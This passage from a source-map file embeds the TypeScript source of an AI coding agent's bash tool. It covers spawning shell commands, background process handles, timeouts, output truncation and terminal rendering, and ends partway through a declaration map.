spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nexport function formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst invalid = () => theme.fg(\"toolTitle\", theme.bold(`${prompt} ${invalidArgText(theme)}`));\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (command === null || handle === null) return invalid();\n\n\tconst parsed = parseShellOperation(args ?? {});\n\tif (!parsed.ok) {\n\t\t// Arguments still arriving name no operation yet, so they render as a\n\t\t// placeholder. Anything that already names one and still fails to parse is\n\t\t// rejected at execution, and naming its command would describe something\n\t\t// that never runs.\n\t\tif (!command && !handle) {\n\t\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${theme.fg(\"toolOutput\", \"...\")}`));\n\t\t}\n\t\treturn invalid();\n\t}\n\tif (parsed.operation.kind !== \"run\") {\n\t\tconst suffix = parsed.operation.kind === \"kill\" ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));\n\t}\n\tconst timeoutSuffix = parsed.operation.timeout ? theme.fg(\"muted\", ` (timeout ${parsed.operation.timeout}s)`) : \"\";\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { kind: \"retrieve\"; handle: string } | { kind: \"kill\"; handle: string },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (handleInput.kind === \"kill\") {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t\t\tconst command = !parsed.ok\n\t\t\t\t\t\t? \"(rejected shell call)\"\n\t\t\t\t\t\t: parsed.operation.kind === \"run\"\n\t\t\t\t\t\t\t? parsed.operation.command\n\t\t\t\t\t\t\t: (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tconst parsed = parseShellOperation(input);\n\t\t\tif (!parsed.ok) throw new ToolExecutionError(parsed.reason, undefined);\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn await executeHandleCall(parsed.operation);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = parsed.operation;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
1
+ {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,SAAS,EAA4C,MAAM,sBAAsB,CAAC;AAEhG,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAK5C,OAAO,EAIN,KAAK,WAAW,EAGhB,MAAM,sBAAsB,CAAC;AAI9B,OAAO,EAAE,KAAK,uBAAuB,EAAiC,MAAM,uBAAuB,CAAC;AAEpG,OAAO,EAAE,KAAK,kBAAkB,EAAE,KAAK,cAAc,EAAa,MAAM,eAAe,CAAC;AAKxF,OAAO,EAAoD,KAAK,gBAAgB,EAAE,MAAM,eAAe,CAAC;AAKxG;;;;;GAKG;AACH,eAAO,MAAM,4BAA4B,OAAO,CAAC;AAqCjD,QAAA,MAAM,UAAU;;;;;;;;;;;IAYf,CAAC;AAEF,eAAO,MAAM,gCAAgC;;;CAGnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,UAAU,CAAC,CAAC;AAkDtD,wBAAgB,wBAAwB,IAAI,cAAc,CAAC,OAAO,UAAU,CAAC,CAsE5E;AAED,MAAM,WAAW,kBAAkB;IAClC,GAAG,EAAE,MAAM,CAAC;IACZ,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,IAAI,CAAC,EAAE,MAAM,EAAE,CAAC;IAChB,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAED,MAAM,WAAW,eAAe;IAC/B,UAAU,CAAC,EAAE,gBAAgB,CAAC;IAC9B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,iFAAiF;IACjF,SAAS,CAAC,EAAE,kBAAkB,CAAC;CAC/B;AAED;;;GAGG;AACH,MAAM,WAAW,cAAc;IAC9B;;;;;;OAMG;IACH,IAAI,EAAE,CACL,OAAO,EAAE,MAAM,EACf,GAAG,EAAE,MAAM,EACX,OAAO,EAAE;QACR,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;QAC/B,MAAM,CAAC,EAAE,WAAW,CAAC;QACrB,OAAO,CAAC,EAAE,MAAM,CAAC;QACjB,GAAG,CAAC,EAAE,MAAM,CAAC,UAAU,CAAC;KACxB,KACG,OAAO,CAAC;QAAE,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAC;QAAC,UAAU,CAAC,EAAE,MAAM,CAAC;QAAC,IAAI,CAAC,EAAE,MAAM,EAAE,CAAA;KAAE,CAAC,CAAC;IAChF;;;;;OAKG;IACH,eAAe,CAAC,EAAE,CACjB,OAAO,EAAE,MAAM,EACf,GAAG,EA